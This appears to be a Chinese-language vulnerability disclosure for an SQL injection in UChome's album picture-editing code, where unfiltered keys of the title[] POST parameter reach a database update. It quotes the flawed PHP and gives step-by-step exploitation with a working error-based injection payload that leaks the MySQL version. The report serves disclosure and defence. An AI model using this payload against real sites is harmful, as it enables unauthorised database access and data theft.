### 简要描述：
UChome 注入漏洞
### 详细说明：
```
source/cp_clbum.php
} elseif($_GET['op'] == 'editpic') {
$managealbum = checkperm('managealbum');
include_once(S_ROOT.'./source/function_bbcode.php');
if($albumid > 0) {
$query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('album')." WHERE albumid='$albumid'");
if(!$album = $_SGLOBAL['db']->fetch_array($query)) {
showmessage('no_privilege');
}
if($album['uid'] != $_SGLOBAL['supe_uid'] && !$managealbum) {
showmessage('no_privilege');
}
}
if(submitcheck('editpicsubmit')) {
if($_GET['subop'] == 'delete') {
//删除
$updates = $deleteids = array();
foreach ($_POST['title'] as $picid => $value) {
if(empty($_POST['ids'][$picid])) {
$title = getstr($value, 150, 1, 1, 1);
$wherearr = array('picid'=>$picid);
if(!$managealbum) $wherearr['uid'] = $_SGLOBAL['supe_uid'];//自己
updatetable('pic', array('title'=>$title), $wherearr);
} else {
$deleteids[$picid] = $picid;
}
}
if($deleteids) {
include_once(S_ROOT.'./source/function_delete.php');
deletepics($deleteids);
}
} elseif($_GET['subop'] == 'update') {
foreach ($_POST['title'] as $picid => $value) {
$title = getstr($value, 150, 1, 1, 1);//
//echo 2222222;exit();
$wherearr = array('picid'=>$picid);//这里可以看到KEY没有过滤~~
if(!$managealbum) $wherearr['uid'] = $_SGLOBAL['supe_uid'];//自己
updatetable('pic', array('title'=>$title), $wherearr);
}
```
### 漏洞证明：
利用方法
首先注册用户
然后新建一个相册
http://127.0.0.1/uchome/space.php?uid=2&do=album&view=me 打开这里点上床
新建完了之后 上传一个图片
完了之后 点进相册 然后在点刚刚上传的图片 点击管理图片
直接确认
然后抓包
把titie的那个改成
title%5B1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#%5D
原始内容可能是title%5B1%5D 修改成上面的 就可以看到错误信息了
[<img src="https://images.seebug.org/upload/201311/25225920c992a286a8849c80c50ec44ab63bdff1.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/25225920c992a286a8849c80c50ec44ab63bdff1.jpg)
[<img src="https://images.seebug.org/upload/201311/252259266c1882ed7bc4474d8bb46aa6e7a8f6e9.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/252259266c1882ed7bc4474d8bb46aa6e7a8f6e9.jpg)
[<img src="https://images.seebug.org/upload/201311/252259354fc91d0218c6c12ef586e7ff0c1d8c05.jpg" alt=".jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/252259354fc91d0218c6c12ef586e7ff0c1d8c05.jpg)
[<img src="https://images.seebug.org/upload/201311/25230103d1e1057277ef1710492f04548f7731cd.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/25230103d1e1057277ef1710492f04548f7731cd.jpg)
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